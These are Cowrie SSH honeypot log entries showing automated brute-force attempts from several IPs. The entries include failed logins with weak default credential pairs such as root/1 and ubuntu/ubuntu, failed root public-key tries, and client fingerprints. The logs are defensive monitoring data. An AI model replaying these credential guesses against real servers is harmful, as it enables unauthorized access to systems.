{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:34.040657Z","src_ip":"2.57.122.238","session":"ecb88931abe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:34.148322Z","src_ip":"2.57.122.238","session":"ecb88931abe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:34.487193Z","src_ip":"2.57.122.238","session":"ecb88931abe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:35.594476Z","src_ip":"2.57.122.238","session":"ecb88931abe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:41.325272Z","src_ip":"47.86.95.62","session":"594c268ef670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:46.571265Z","src_ip":"8.218.166.49","session":"eb1608b55b94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:49.032551Z","src_ip":"8.218.166.49","session":"eb1608b55b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44854,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61c58acf373","protocol":"ssh","message":"New connection: 47.86.95.62:44854 (10.17.0.5:22) [session: e61c58acf373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:54.431246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:54.436769Z","src_ip":"47.86.95.62","session":"e61c58acf373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:54.647042Z","src_ip":"47.86.95.62","session":"e61c58acf373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:54.762137Z","src_ip":"8.218.166.49","session":"d1565952368c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:55.346314Z","src_ip":"47.86.95.62","session":"e61c58acf373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:56.563485Z","src_ip":"47.86.95.62","session":"e61c58acf373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"94.5","message":"Connection lost after 94.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:58.245817Z","src_ip":"8.218.166.49","session":"eb1608b55b94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44858,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a9c76781cbd","protocol":"ssh","message":"New connection: 47.86.95.62:44858 (10.17.0.5:22) [session: 9a9c76781cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:59.547586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:59.553760Z","src_ip":"47.86.95.62","session":"9a9c76781cbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:30:59.762931Z","src_ip":"47.86.95.62","session":"9a9c76781cbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:00.424956Z","src_ip":"47.86.95.62","session":"9a9c76781cbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.245.47","src_port":32870,"dst_ip":"10.17.0.5","dst_port":22,"session":"419c12542e92","protocol":"ssh","message":"New connection: 185.145.245.47:32870 (10.17.0.5:22) [session: 419c12542e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.078503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.088670Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.200869Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:28:0a:44:23:7a:f3:37:4a:00:59:96:66:a5:28:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0sv0LHddTw/9MNFrE86OFOhrJG9BUhxLYkoBx5TKvM2z8I8OLljPCYT8ZYdmqIgBhndiaKw5Q17YresFKsjDpVMBsYaUNPxBHja5wdQ1x/xpLfxRh0C8Il+A14yDzDSghDugjUcfmCt4s3Tgx8QP4vSiEX2rbDI//X0N9dww8LvTCOGLlAYUKsEma5o/fMHcUp4O9DAP4HrKuze4wdB9jQ9uZiOUQHapKQjcqp/m2ppSX71UaiTihvdzH0yd1mtAps4KL+3LQb8TLVcgbY9QNUPCNBdlBelzSpO/3eqUy/t5BhljYntW2vINyqS/E8ul8ylJ81EP1ENixa8nWLT63","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:28:0a:44:23:7a:f3:37:4a:00:59:96:66:a5:28:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.742315Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:28:0a:44:23:7a:f3:37:4a:00:59:96:66:a5:28:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0sv0LHddTw/9MNFrE86OFOhrJG9BUhxLYkoBx5TKvM2z8I8OLljPCYT8ZYdmqIgBhndiaKw5Q17YresFKsjDpVMBsYaUNPxBHja5wdQ1x/xpLfxRh0C8Il+A14yDzDSghDugjUcfmCt4s3Tgx8QP4vSiEX2rbDI//X0N9dww8LvTCOGLlAYUKsEma5o/fMHcUp4O9DAP4HrKuze4wdB9jQ9uZiOUQHapKQjcqp/m2ppSX71UaiTihvdzH0yd1mtAps4KL+3LQb8TLVcgbY9QNUPCNBdlBelzSpO/3eqUy/t5BhljYntW2vINyqS/E8ul8ylJ81EP1ENixa8nWLT63","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.746724Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c1:cf:a0:73:a5:e2:57:bf:a4:c2:02:d8:1b:05:a2:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpI3ADoJmpyJOcvpq9e1OQ6bmOD3yz4NSQhvrDmA/alRSAtWl+n1SYgo/0TglHQvvzEvywfm8AZycKOiwfOGG+NKvyHrHWxOvg1BV9wz9ZmUdtC6V4uc2DZg8Sz0wUy1d8F1DNl4tVksh1TlrKW0to1pmmsqwDSyAE3qxJx70cZlyyOtoSQHZ6WjgVjaDuYjz/rdT7k/6K8lWJ7cGzyPhL0HTw6vleXFArlJChck2CXIrwf53Rl3Yma+3A7FNq4ikMB3KeD8e3gjcobXqm43sNWK7pq3iQxH6zYXP+4ykcvafNL/QU8r6L0pOunuj9CiyVwlxb19RwZ514f9jSn5r9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c1:cf:a0:73:a5:e2:57:bf:a4:c2:02:d8:1b:05:a2:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.859190Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c1:cf:a0:73:a5:e2:57:bf:a4:c2:02:d8:1b:05:a2:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpI3ADoJmpyJOcvpq9e1OQ6bmOD3yz4NSQhvrDmA/alRSAtWl+n1SYgo/0TglHQvvzEvywfm8AZycKOiwfOGG+NKvyHrHWxOvg1BV9wz9ZmUdtC6V4uc2DZg8Sz0wUy1d8F1DNl4tVksh1TlrKW0to1pmmsqwDSyAE3qxJx70cZlyyOtoSQHZ6WjgVjaDuYjz/rdT7k/6K8lWJ7cGzyPhL0HTw6vleXFArlJChck2CXIrwf53Rl3Yma+3A7FNq4ikMB3KeD8e3gjcobXqm43sNWK7pq3iQxH6zYXP+4ykcvafNL/QU8r6L0pOunuj9CiyVwlxb19RwZ514f9jSn5r9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.864908Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:26:35:c6:0f:2b:32:5e:20:66:a3:32:7e:75:b3:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1ABnqREYywE7e0QmhpgK8mR65WKqq2YyeqxJhhf1FRuzDk3lLPY0xYl8BNZf1xOCx7/L3GR4GobqUWje6gDdhQz86lAnsf8TKQwjnlqpGeLVMjiYbvjlynGyx4lACVgB1Da8jQuVAdj1uUpykTfISTSsb6AcseqSIiBeuCqZy9Vn8jty9bljslx3iO6D3aAs9hVPO46N7XvVVgOg7XAGoIXTgdAqZtwJgUvtNwSEdTC2+t7sjl86JTD2cIHexJzoFMQwrUQltof+d85z1hj+iJggoPbjB/ev0kLShjiwMMplJL4dh91cDM4vsdVRHpKZstrdRmL3GsfMVvM/3LXFaw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:26:35:c6:0f:2b:32:5e:20:66:a3:32:7e:75:b3:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.977334Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:26:35:c6:0f:2b:32:5e:20:66:a3:32:7e:75:b3:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1ABnqREYywE7e0QmhpgK8mR65WKqq2YyeqxJhhf1FRuzDk3lLPY0xYl8BNZf1xOCx7/L3GR4GobqUWje6gDdhQz86lAnsf8TKQwjnlqpGeLVMjiYbvjlynGyx4lACVgB1Da8jQuVAdj1uUpykTfISTSsb6AcseqSIiBeuCqZy9Vn8jty9bljslx3iO6D3aAs9hVPO46N7XvVVgOg7XAGoIXTgdAqZtwJgUvtNwSEdTC2+t7sjl86JTD2cIHexJzoFMQwrUQltof+d85z1hj+iJggoPbjB/ev0kLShjiwMMplJL4dh91cDM4vsdVRHpKZstrdRmL3GsfMVvM/3LXFaw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:06.981207Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.050426Z","src_ip":"8.218.166.49","session":"ddec32d8c53f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.054332Z","src_ip":"8.218.166.49","session":"ddec32d8c53f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:8f:76:a2:32:99:7a:5f:22:33:bc:52:d7:97:de:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxsMjMmhZmJEBdmVKYvdeYaKUl+U9BulbD+zTF26RsRD71MB0dvtiPServjEx3t/4rtXXJnVyYEsPNGiwenz64r691vG5nCVyNahwqgFXUJrhzGSa9IkwiDy3K0ALgGPxTPiC7nURsrg/LRpLgID+hvs0+QHx6jtJKNYA9mT+5VO89mplQcsVT9E7Of4KgiDl4PZ55CYXSNCuWqxfOPGllZI1Sg7fyG+1oGx5cbW85XIDfQg7fifiBXME1L9oiB63GsJrjVogZC3BptPaeIG1xcGSN4/w9VjmGWB1b7DrVEmmZFsLJ4U0tIRYGtHqRgt1hbEGStkYMnUBA1uQvkPgV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:8f:76:a2:32:99:7a:5f:22:33:bc:52:d7:97:de:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:31:07.094246Z","src_ip":"185.145.245.47","session":"419c12542e92","protocol":"ssh"}
